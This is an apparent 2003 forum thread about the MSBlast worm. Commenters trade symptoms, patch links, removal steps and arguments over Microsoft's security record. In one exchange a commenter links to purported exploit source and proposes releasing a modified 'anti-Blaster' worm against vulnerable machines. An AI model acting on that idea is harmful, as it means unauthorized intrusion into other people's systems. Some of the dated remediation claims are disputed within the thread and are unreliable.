Re:Why are all these end users ....

[BobBoring]

Why are all these end users turning off the auto update features.

Because they got burned once when Windows Update started sucking a serveral Gigabyte service pack over their modem connection?

Or maybe they got tired of having to wait throught the several download a patch that has to be applied seperately and reboot cycles when all they wanted to do was check the movie schedule for the local theater?

Or maybe a social engineered malware webpage changed the settings by telling them click the link and it will double thier intenet connection speed?

Or maybe they are so burned out with having to patch their system three times a week they just don't want the bother since after all it is someone else that is going to get the virus not them?

ad infinitum, ad nauseum

worm

[panic911]

not to be an ass or anything, but it's a worm, not a virus ;)

iPod

[thedbp]

I'd only trust my life to a machine that runs a completely custom OS built for one purpose that does one thing, and does it well

Yeah, and that's why I would only ever trust my life to an iPod.

Too much rebooting?

[leonbrooks]

At least make it painless.

OK, I don't get it

[fendel]

If a system outside the modem/router can't access port 135 on the machine in question, you are REASONABLY safe for a few minutes until you have time to install the update.

If a system outside the router can't access port 135, why is it safe for only "a few minutes"?

I don't know if grc.com is the end-all of network security, but according to their port probe, my port 135 was "stealthed" just from the router NAT, even without ZoneAlarm running...

So how am I going to get this worm?

Simple patch ... but why?

[Anonymous Coward]

Why not create secure software.

When MS stole OS/2 3.0 ... whoops ... I mean created WinNT they had a secure OS. Then they went and F**KED it!

There bottom line is profits. A product purposely broken is always upgraded. Not surprisingly the upgrades are never free. Not to mention the exploit was there way back in Win2000 !!!

What's all this about a 1 month lead?

[TheLastUser]

These articles suggest that MS new about this fault for a month and that "experienced" sys admins were patching their systems.

I did a fresh install of w2k last friday and I installed every patch that was available. A patch for this worm was NOT on their site.

Re:What's all this about a 1 month lead?

[Mikeytsi]

Yes, it was. They rolled it in to service pack 4. Before that, it was available as a hotfix.

Re:What's all this about a 1 month lead?

[TheLastUser]

So how come I had to install a patch for this ON TOP of SP4? Is windows update broken?

Re:What's all this about a 1 month lead?

[Mikeytsi]

I didn't have to on any of my boxes. In fact, the only two I've had problems with are the two that didn't get SP4 installed. Of course, YMMV.

Virus payloads often contain own mailer

[Creepy]

Using a different mail program doesn't help because many of these viruses carry a packaged version of Outlook Express mailer. I had a machine infected with one of these (different virus, at the time an unknown variant of an existing virus) - I identified it because it was sending mail using OE 5 and messages bounced back, but I was using Outlook as my mailer and had OE 6 installed with a Windows Service Pack for Win 2k (not 5).

The only real solution is to throw out Windows... now if I can just convince management :)

Re:Virus payloads often contain own mailer

[nolife]

It used OE? A common thing for an html enabled applications in Windows is to use MSHTML.DLL which is the parsing engine for HTML for Internet Explorer and any other application that is designed to use it (Eudora, Outlook, Netmeeting, OE, Kazaa and Word, Media Player many many others). Some applications have their own internal parser which are normally limited to very basic HTML (like Pegasus) which is a very good thing for dealing with something as uncontrolled as email IMHO.

How do you think MS got those 50 Billion?

[Anonymous Coward]

cost your customers insane amounts of money and lost productivity

But isn't that exactly why people upgrade their MS OS? At a rediculous price I might add.

Disabling DCOM

[Anonymous Coward]

Of course you can prevent this bug from affecting your computer by using the built-in Windows program "dcomcnfg". You can use that program by disabling DCOM.

Fortunately for me, I disabled this "feature" long before the worm started spreading. Some COM books mention this tool, and since I didn't think DCOM was useful for my computer, I disabled it :)

YOUR BAD: YOU STILL DIDN'T MAKE A CLICKABLE LINK

[MachineShedFred]

For the love of man and everything holy, USE A DAMN HREF and stop putting a space in root!

click

This shows the reliability of the IBM AIX boxes

[Anonymous Coward]

The now defunct @HOME had quite a few similar incidents with Sun boxes. The computers were stable and secure, but they had power cords!

Took a human with access to do damage after running fine for years. Not some pathetic virus.

Bad IT managers?

[TheLastUser]

Just a thought... But do they really use consumer grade computers? Maybe as terminals but last time I was in a hospital's computer room there were no windows boxes around. There was a Dec cluster, a solaris box maintinaing a huge optical library, and a bunch of shit off the set of "2001 a Space Odyssey".

MSBlaster Worm Symptoms and Remediation

[virtcert]

Here's a rundown of what I've found out dealing with the MSBlast worm, some of which wasn't posted to the list yet (or I just missed it). Luckily my systems here were patched before this came out, but a few people brought in laptops that weren't patched, so here's what to expect.

MSBlast Symptoms:

Windows XP: Computer displays a message that the computer will shut down in 60 seconds.
Go to a command prompt and type "shutdown /a" to abort the shutdown.)
This indicates that your computer is infected with the MSBlast worm.

Windows 2000: Computer displays an error message about "svchost.exe" fatal errors. Odd behavior follows, such as not being able to drag-and-drop certain items, Internet Explorer context menus (right click menus) don't work properly, and other bizarre behavior.
This _does_not_ necessarily mean that a computer has the worm, but the svchost.exe could be crashing as a result of the worm trying to get in. However, you should still run the removal tool to make sure.
Some people have associated this with the install of Service Pack 4, but it appears to be coincidental and not related to the SP4 install. However, SP4 does seem to have it's own user-reported set of issues unrelated to this worm, as discussed here:
http://www.w2knews.com/anecdotes.htm

Windows ME/98/95: Unaffected by this worm.

Windows Update: Windows Update is running incredibly slowly.
You may or may not be able to get in to update your system. This is due to the fact that millions of people are all hitting the service at once trying to get the patch to stop this worm. If you keep trying, you will eventually get in, but it may take a number of tries and 5 minutes or so per try. Additionally, you may get an HTTP 1.1 Server Too Busy error message even after you are in. Just keep clicking on the "Review and Install Updates" link on the left side pane and it will eventually let you in. When it does make a connection, the window or system may appear to hang for up to a minute or two. Just wait it out and it will eventually wake back up with the Blindly-Accept-Our-New-License-Terms window. Read the license terms thoroughl and print out a copy for your files (sorry, couldn't resist) and then OK" and the updates will then download (slowly) the needed files and install them.
To make matters worse, the worm will start a Denial of Service attack against the Windows Update site on Saturday Aug 16, so if you think it's bad now, you aint seen nothing yet.

Worm Trivia: The worm contains the following text, which is not displayed on the screen:
I just want to say LOVE YOU SAN!!
billy gates why do you make this possible ? Stop making money and fix your software!!

If you experience either of the above symptoms on your PC's, you need to apply the appropriate patch from here immediately:

Windows XP Security Patch:
http://download.microsoft.com/download/9/8/b/98bcf ad8-afbc-458f-aaee-b7a52a983f01/WindowsXP-KB823980 -x86-ENU.exe
Windows 2000 Security Patch:
http://download.microsoft.com/download/0/1/f/01fdd 40f-efc5-433d-8ad2-b4b9d42049d5/Windows2000-KB8239 80-x86-ENU.exe
Windows NT 4.0 Security Patch:
http://download.microsoft.com/download/6/5/1/651c3 333-4892-431f-ae93-bf8718d29e1a/Q823980i.EXE
Wind ows NT 4.0 Terminal Server Edition Security Patch:
http://download.microsoft.com/download/4/6/c/46c9c 414-19ea-4268-a430-53722188d489/Q823980i.EXE
Wind ows Server 2003 Security Patch:
http://download.microsoft.com/download/8/f/2/8f211 31d-9df3-4530-802a-2780629390b9/WindowsServer2003- KB823980-x86-ENU.exe

Then, run this program to scan your system for any remaining parts of the worm.

Removal Tool:
http://securityresponse.symantec.com/avcenter/Fix

Some day...

[rice_burners_suck]

Some day, you will learn that you cannot succeed with Windows. Until then, may God have mercy on your soul.

MVA Out

[pinqkandi]

The MVA (Motor Vehicle Administration) was out the other day. So now, I not only have to wait for hours and hours, I turn in the forms and they tell me to come back the next day to actually pick up the license.

I feel so alive...

Lazy admin

[KalvinB]

"Thirdly, you've just annoyed people who have access to these different systems as they now have to change their password in 3 (or more?) different places."

Exactly. Admins who are lazy will sacrifice security for simplicity.

If you've got the same userpass for everything someone only needs to figure out one userpass to get in everywhere.

If you force your users to have different logins for every app and keep all your app accounts seperate of the OS then if someone gets one userpass the amount of damage they can do is minimized. If someone get my SMTP password, worst they can do is check my e-mail.

In your setup if someone gets your SMTP password they can check your e-mail, mess with files and even possibly escelate permissions on the OS and do some real damage.

Ben

Has been done before.

[ptr2void]

We're not speculating here. This has been done before. Years ago, there was a MS-DOS virus which messed with dBase database files, which were common at the time. IIRC it changed some random bytes in the file.

Now the evil part was that the virus hid these modifications from the rest of the system. The users didn't notice. Only when they erased the virus (or moved the database to another, clean computer), they found out that their data was corrupted.

Luckily, this virus didn't spread far AFAIK. But a good infection routine and the payload can be combined...

Slidell, LA DMV

[bahamlabs]

I heard recently from my 17 year old friend of mine here in Slidell, LA (Outside New Orleans) that the local DMV was "taken out" by the recent Msblaster worm. It took a few hours for him to get his new drivers License.

and what if Apple was the dominant player

[rodmm]

After reading some of the messages, a question came to me. If we were living in a world where the majority of computers were running upon MacOS, it isnt predictable that the majority of viruses will spread on this kind of environment instead of Windows? My question is how much we can attack the lack of effort from Microsoft to increase security, and which part of the burden we should blame on a natural exposure of the most used platform to this kind of motivation?

Re:Why? Patch didn't work

[Anonymous Coward]

Myself and other admins have seen patched systems get infected anyway. The patches MS put out for this didn't work.

There are newer patches now, perhaps they will work.

Yes it's sheer lunacy

[Anonymous Coward]

A former dot-bomb refugee from an all-Linux/Unix shop, I've now the (mis)fortune to have worked the last few years as an interface programmer at a 150-bed community hospital. Unfortunately the (mis)managers have seen fit to stock their computer room over the years with now around 60 servers running some form of Windows, and all on a LAN with Internet access. Yesterday the hospital's critical pharmacy and electronic medical records systems where disabled for several hours due to the recent exploit to Windows systems.

Firewall on a stick.

[Anonymous Coward]

You know? I've wondered why Firewalls weren't built into the NIC. A Firewall really isn't a complicated beast, and hardware is cheap.

Internet Explorer

[SamSpectre]

MS has made it so that IE is REQUIRED to access the Windows Update site. So, if you've managed to remove IE from your computer, you cannot update your PC to shield against Blaster and your PC will attack MS's site on the 16th. Except for some Internet lag though, it's not your fault because MS decided not to make the patch available to people that exclusively use other browsers. So... Those of us that don't use IE have been invited to attack MS's site by MS!!! How cool is that!

Here's an idea to take Blaster out

[bhtooefr]

One of these comments in one of the blaster articles had a url to Blaster source code. Anyone want to de-fang it, and throw on an anti-Blaster app? Chances are the stuff that's been hit isn't secured against it yet, so simply hitting it with a modified Blaster should get rid of it, right?

Re:Here's an idea to take Blaster out

[bhtooefr]

Some info:

http://slashdot.org/comments.pl?sid=74466&cid=66 77 954

Re:Here's an idea to take Blaster out

[bhtooefr]

Some source - but I'm not sure that it's actually Blaster...

http://www.securiteam.com/exploits/5CP0N0KAKK.ht ml
The makers' English page is at: http://www.xfocus.org/advisories/200307/4.html

Yep more Downtime!

[bulletcatcher]

For our windows terminal servers and a few workstations but our Novell cluster is chugging right along. AAAAHHHH Novell the best windows administration tool on the planet, once you get the client installed :)

Work was brought to a standstill at the DMV

[sdcharle]

And they noticed this why?

MSN Tech Centers

[d_insley]

Our call centre has had 200-300 people in queue for the past 3 days about this (MSN Tech Support, I know, I know.. haha) Microsoft would not even let us call this a virii for the first 2 days even though people knew it was, all that we are allowed to do is build them a manual connection enable ICF and get them to download the patch, then refer them to thier OEM or virus scanner maker. I've mentioned to them that we should be turning of the system restore function after we install the patch, then turn it back on so it erases the virus infected backups. (I've noticed the virus scanners dont pick it out of the system restore files.) But suppposedly clicking this checkbox is out of our 'Support Guidelines'. We are not allowed to remove the virus even though its VERY simple.

Firewall?

[H8X55]

Do these agencies really have such little protection against attack? This article makes it sound like Stanley Jobson dropped a hydra in a trapdoor after using a worm to break through the firewall.

Linux is SOOO much better.

[pyroman1]

If you expect an OS to be released and have absolutely no vulnerabilities from day one, then I would love to have some of what you are smoking.

Even Linux has its problems with security flaws. The only problem with Linux is you have to know a hell of a lot more about the system and be willing to invest more time in protecting it.

What did I have to do to protect my WinXP Pro machine? Visit Windows update every so often, usually once a week, download the updates and have a firewall. Things everyone using Windows should do, and if you exclude step one, things everyone should do.

The constant witching about MS is getting to be annoying, no one is perfect, but at least it is easy and painless to install updates if you install them when they are released, not when all the other idiots that waited until a virus is spreading are installing them.

I tried Linux, I have it dual booting on my machine, I don't like it. Sure if it had come out back when I was a kid I might have a different opinion of it, if I had more time to spend learning about it. But it didn't and I don't. No one is paying me to use it and so far no one has required that I know it. So I'm not wasting my time.

Re:Microsoft's fault.......

[BostonPilot]

Unfair comparison. In your example, the gun is doing exactly what it was designed to do: shoot. The Microsoft product isn't performing as the users have reason to expect it to. And it's because of shoddy workmanship on the part of Microsoft. A better gun example would have be the M16 during Vietnam when it was malfunctioning all over the place. And yes, it was the fault of Colt and the Army for insufficient testing of the product. People died. In either case, shoddy design & manufacture should be penalized.

that is left as an exercise for the reader

[JimmytheGeek]

Just hit the support.microsoft.com site and start counting.

For me, I'm content with the approximation "many", or possibly "too many", or "way too fsking many"

Other OS's that I'm familiar with have many vulnerabilities in programs that run on them, but relatively few in the OS itself. With the various flavors of Windows, there isn't a significant difference. When IIS is installed by default, an IIS flaw is an OS flaw. When Apache is not installed by default, its flaws should not be counted with those of the OS.

Don't count every buffer overflow in every chat client on source forge. DO count every flaw in IE and outlook express, because getting rid of them is impractical. You could probably throw in media player as well.

I agree that you have to stay on top of the updates, but in my environment the many linux and OpenBSD boxes are much less trouble than the few windows boxes - both proportionally and absolutely.

Re:that is left as an exercise for the reader

[TrancePhreak]

Apache is installed by default on most *nix distros I've seen. IIS is not installed by default on the version of Windows 2K/XP I've used. I know Apache has some serious flaws in it, and that there are lots of people out there who use really old versions of distros because they bought them and are still on dial-up.

If we count the flaws in IE/Outlook, then we need to count the flaws in the similar programs on the other OS's, as they both serve the same purpose and their use is on a per person basis. I'm sure most people don't run random bash scripts sent to them, but maybe there are some people out there who would.

Re:that is left as an exercise for the reader

[windex82]

You might want to try customizing your install's if apache your getting apache by default.. ive never gotten apache installed by default from any distro ive used...

Uh, dude...

[poptones]

It's "homogenized." I spelled it properly, so it should be no problem for you if you read my post. And macs still constitute like 1% or 2% of the total desktops, so even if you managed to infect every mac out there the effect on the net would hardly be noticeable.

So far as your assertions about "statically linked" virii and the impracticality of attacking *nux, I'll remind you of the redhat attack of a couple years back. Took out quite a number of systems as I recall - across a wide variety of revisions and, because RH is the "base" for so many others, a variety of distributions were affected (including my own, which was running Mandrake 6 at the time).

Re:Uh, dude...

[OmniVector]

It's "homogenized." I spelled it properly, so it should be no problem for you if you read my post.
pardon me, i didn't know you were a spelling nazi. if you looked at my post, you'd notice i spelled it properly the first time but screwed it up the second.

And macs still constitute like 1% or 2% of the total desktops, so even if you managed to infect every mac out there the effect on the net would hardly be noticeable.

I love it. every good troll has to slip in a comment that has nothing to do with the argument in the first place, being that macs are harder to infect with viruses, irreguardless of the market share (which is more like 3%).

Re:Why? _ get a clue

[secret_squirrel_99]

No, the fault still lies greatly in the hands of Microsoft. They build a system, market it as drool-proof, drooling idiots all over the world buy it, and those drooling idiots get burned and are still so stupid that they don't realize they were LIED TO IN THE FIRST PLACE!

So what? Other systems don't have security holes? Those holes aren't eventually exposed, and patches released? Try subscribing to bugtraq or security focus or any of the dozens of other similar lists for a while and see how many holes in Linux, irix and every other *nix come out. As many as the MSFT products? no.. ZERO.. hardly..

Patches are a fact of life.. IF you don't want to patch your systems, don't connect them. It's really just that simple.

They build a system, market it as drool-proof, drooling idiots all over the world buy it,

The 2 examples stated were city governments. They have large IT organizations that are perfectly capable of making informed decisions. They also have staff who are capable of rolling hotfixes and failed to do so. The time and cost to do so are very nearly zero and yet they chose to ignore the threat. They need to accept the responsibilty.

Re:Microsoft's fault.......

[InOverMyFeet]

Your right about the gun. Point well taken. But what about my other example. What if one night you forget to lock your doors and someone breaks into you house. Is it your fault? No. Breaking and entering is breaking and entering whether they enter through an unlocked door or through a window they just broke. Microsoft may or may NOT be doing all they can to mitigate exposure to such malicious attacks. But, do people really think that Microsoft is intentionally releasing a product that they believe to be flawed? They set their own time frames/release dates due to the lack of competition. It's not like they try to beat the next version of Redhat to market. The bottom line is that the "bad guys" are always a little smarter. The dark side of the force is too strong.

Re:Why? _ get a clue

[pmz]

Other systems don't have security holes?

It isn't about doing a hole-for-hole comparison and seeing which pile is higher. It's a matter of comparing a vendor's claims with their delivered goods. Few vendors rank with Microsoft when measured by cunning and deceitfulness.

They have large IT organizations that are perfectly capable of making informed decisions.

Are they? Government bureaucracies are not often highly regarded for their efficiency or sharp decision making abilities. For example, our DMV "upgraded" recently from a modest mainframe-backed system to a new-fangled system with Windows clients. Going to the DMV now takes longer and is much worse than ever before. Microsoft wants people to believe their techology will make everyones problems disappear as if by magic, when, in reality, they are straight-faced liars selling snake oil.

You're an idiot

[kikta]

Troll, how is something like redhat's up2date harder that windows update??? And what the hell did I say about turning shit on by default? Why don't they turn on Windows firewall by default? Why don't they turn off high-vulnerability services by default? What the last Linux worm that fucked things up on the scale of a MS worm?

If you're going to troll, put some effort into it. That drivel you spewed was just plain sad.

a patch doesn't cut it

[SHEENmaster]

If I make a bullet-proof windshield for you that doesn't protect against bullets, it would be my fault that the thing doesn't stop them. If your armored truck gets robbed because of this, I would be partially responsible for your losses, second only to the people that robbed it.

If Microsoft would just admit that their software is insecure, we would get back to calling it an insecure piece of crap. When they win national defense software contracts and claim to be secure, I have a serious problem with them.

I use OpenBSD on anything life-or-death and Linux on everything else. I have yet to see any of those systems get infected with a virus or invaded by crackers. The most I've been hurt from a virus was the downtime when my ISP caught Slammer.

Is installing a patch in winshit still as difficult as opening up their browser and going to the update site? Many of us connect to our servers from crummy connections that can't handle remote graphical terminals with Windows. If M$ has finally made an equivalent to "apt-get update && apt-get upgrade" since I discovered the glory of Posix-Compliance, then good job for them. If not, then they can bite my shiny metal ^D

"...so I say screw those who didn't patch."

[Anonymous Coward]

Well, I say screw those who run Windows. You included.

Re:"...so I say screw those who didn't patch."

[TheQuantumShift]

Good show. I guess, I just don't have the time to spend with my slackware partition anymore since I got a real fucking job and stopped working graves at the 7-11... I do love the idea of open source, and I do use my slack as much as possible, but goddammit, I need shit to just work out of the box once in a while. When I don't have to turn off FUCKING APACHE, SENDMAIL, FTPD, AND THE REST after an install, dick with my fonts, install xine, mplayer. realplayer, xmms, newest mozilla, gaim, and your fucking mom to getthe basics done, then I can convince my roomate everquest is evil, and delete the XP part. Love the linux, and will never be without. Also love the XP, and can't wait for the day I can do without.

"everything off"

[metamatic]

Although "everything off" is good, "everything uninstalled" is better.

One of the things I like about my little Gentoo box is I don't even have the telnet and ftp daemons on disk, let alone open to hacker attack.

Re:This sucks... (Engagement ring)

[LionMage]

How'd this wind up as a comment for the article on a Windows virus? The parent comment clearly belongs to today's article about growing synthetic diamonds.

Broken slashcode?

No Sir, you are the idiot.

[nucrash]

90% of the desktops are Windows-Based.
Most Virus writers can purchase a PC and tools to develop a virus for under $200. Add maybe 3 years or so of experience with coding and you have probably code any virus you want to when dealing with Microsoft.
This is why we hear about Worms in the news that are Windows-based.

One of the downfalls of Linux is that it puts a UNIX like environment in the hands of Joe Blow Virus Writer. Also, it puts Linux in the hands of Robbie the Retarded Systems Admin. Similar to What NT has done in the past.

And yes, the Ramen Worm was pretty impressive, had we all been running Redhat 6.2, the news might have mentioned it

Re:No Sir, you are the idiot.

[FatherOfONe]

Ok, using your analogy, for every 1 "critical" security update on Linux, Solaris, NetWare, and OSX there should be 10-20 for Windows. Well from my experience this isn't the case for two reasons. One those companies apprear to put resources in to security at the design level. Look at ActiveX vs Java for example, or NetWare's security vs What NT had at the 3.x and 4.x level. The second reason (focusing on RedHat) is that you mentioned RedHat 6.2. Hmmm lets see... RedHat has had 7.0, 7.1, 7.2,7.3,8.0 and 9.0 since then. I belive that since 7.1 they have installed a personal firewall by default. So even IF such a service as FTP or Telnet (not installed by default mind you) had an issue, your DESKTOP system would not have an issue. Microsoft on the other hand still has MAJOR security issues with Windows Server 2003 and Windows XP!

Re:No Sir, you are the idiot.

[nucrash]

I have been owned, bravo on your comeback. But once again, all the other OSes comebined do not have the marketshare of Microsoft.

I hope that will change sooner than later

Whoa

[voxel]

Wierd.. yeah I didn't post to that article, I posted to the synthetic diamond article... I was wondering why ppl were saying OffTopic..

- Voxel

Fix Info

[Jade E. 2]

Once again, replying to myself. Oh, well.

I got to spend most of the day playing with this. Turns out this is msblast. The '60 seconds to reboot' thing only affects XP, not 2k. The reason we were getting these strange symptoms and nothing for the virus scanners to catch is that this is a failed msblast. The buffer overflow hit, but failed to download the payload through tftp. (Yes! Finally, an advantage to having your WAN links running at 750% of capacity - virus-induced TFTP transfers fail!) We found that installing MS03-026 on the system and rebooting cleared the weird behavior, and for one or two that did actually manage to download the actual virus file, Trend's newer virus defs find it and kill it mercilessly (even removing the registry entry.)(Trend pattern file v606, released yesterday, supposedly found msblast, but we didn't see any actual detections until v608 came out today. Could have just been that none of the machines had downloaded it yet yesterday...)

Hope this helps the people who had similar symptoms.

I live in MD

[Ogre332]

The MVA doesn't need a virus to slow it down. It crawls just fine on its own.

Re: a virus formula?

[King_TJ]

How do you come up with the "formula" that you should see 1 virus for other platforms for every 20 developed for Windows?

If Windows has a 90% marketshare, that doesn't mean the alternatives will automatically have some directly relative percentage of virii targeted at them.

It's more complex than that. I propose that Microsoft, being as large as they are (and supposedly, a monopoly too, right?), have made far more enemies than the developers of alternative OS products. Look how many virii contain anti-MS messages inside them! They're purposely trying to punch holes in the MS products because they're the "standard".

It isn't as simple as a virus writer saying "Hmm... what does my workplace use? Oh, we run Linux? Ok then, a Linux virus it will be!"

What Amazes Me....

[jechonias]

Is that people still think the issue is one of the following problems:

1) script kiddies
2) lack of a good virus scanner
3) bugs or security holes
4) poor software

Ever notice that all of the above problems won't ever go away? no mater how hard you patch your box you will never catch up.

And as one wise poster said, "i don't patch too soon because the patch often introduces more problems than it fixes".

The reason that unix and mainframe environments are more secure than windows pc's is for one reason and one reason only......

Good design.

When i install postgress i install it under the postegress user. When i install Oracle i install it under the Oracle user. When i browse the web i run the browser as myself. When i read email i read email as myself.

NONE of the above users have root priviledges. Yet when i run the above software on my windows server, more often than not it does have full admin rights and is/ or is equivilent to the admin user.

EVEN if i attempt good security measures i can't get around the fact that so many ms products want to run as root, or use services that run as root, or depend on infrastructures that run as root, etc etc etc.

So no matter how quickly you patch, human error and bugs in software will undoubtedly introduce new security problems.

In a multi user secured environment each user space is protected from every other user space by the inherant security model.

In a windows environment, most processes are all the same user, or for certain parts of their operations become the same user, or have the same user ....... WHICH IS ADMINISTRATOR.

And you can never stop the adminstrator from doing whatever it wants to do to your sysem because it is God.

and that is why virus manufacturers will never go out of business no matter how good ms-update becomes.

jech.

Re:What Amazes Me....

[RAMGarden]

tru.

What?

[kikta]

Besides your made-up figures, none of that made much sense. And one Linux worm? Wow.

Blame... Canada?

[HiggsBison]

I don't think virus authors are the point. It's easy to make obvious statements about how childish and irresponsible this guy is, but it's not like he invented worms.

Ok, I blame John Brunner for inventing worms, in Shockwave Rider.

bollocks it doesn't

[RMH101]

"21CFR11 is a wonderful thing for safety and prevents many sorts of disasters - but it's not perfect for preventing things like system DLLs being changed."

Like hell it doesn't! Every part of my systems down to the little rubber feet on the bottom are detailed down to DLL level through version-controlled documents that are wet-ink signed on completion. We're considered validated by the FDA.

There's nothing wrong with using IE and IIS (well, maybe not IIS!) in a medical sector, but you take precautions. Lock it down, firewall it off and certainly don't expose it to the internet.

I *certainly* wouldn't let anyone using a PC that I don't admin and lockdown access the systems I admin. If anyone wants to sit at home in the garden looking at my systems using their insecure wifi connection they can't. Simple as that. It's just good practice. GxP, in fact.

We call u wan kers

[Anonymous Coward]

My job is extending a buisness not patching it.

How can you gob off such crap. Really MOST businesess are not here to create a world for IT wannbees they are here for business!

Whilst you think we have the time to joy over the next elite computer hack perhaps we want to make things work.

And YES i have forgotten more about computers than you will ever know

Trustworthy Computing

[gregarican]

The most ironic point of this DCOM RPC exploit is that it works the same on Windoze 2003 Server as it does on Windoze 2000 Server. What happened to that sales pitch that Windoze 2003 Server was built from the ground up with security in mind? Supposedly their code was rigorously rewritten and every line passed under peer review for security. BWAH HAH HAH HAH!

A snippet of M$ propaganda from their website regarding Win2K3:

Security. Businesses have extended the traditional local area network (LAN) by combining intranets, extranets, and Internet sites. As a result, increased system security is now more critical than ever before. As part of the Microsoft commitment to reliable, secure, and dependable computing, the company has intensely reviewed the Windows Server 2003 family to identify possible fail points and exploitable weaknesses.

Re: a virus formula?

[FatherOfONe]

Good points, but my overall point is that there would be more around than what there currently is.

As for developers, I would argue that Microsoft has the lions share of the developer community and most of those seem to love Microsoft. So it doesn't seem out of reason to assume that some of them would try and hack other systems.

I don't agree that most of these contain anti-Microsoft messages either. Most seem to contain crap. The core issue is that Microsoft has ignored security at the cost of features while most of the competition hasn't and for the longest time I.T. consulting companies have ignored this as well. Now they should be held particaly responsible.

Lets compare Applets to ActiveX. Java Applets were far more prevelant than ActiveX controls, but Sun took security seriously and Microsoft didn't. ActiveX is an abomination at best and Applets, although a pain are still usefull.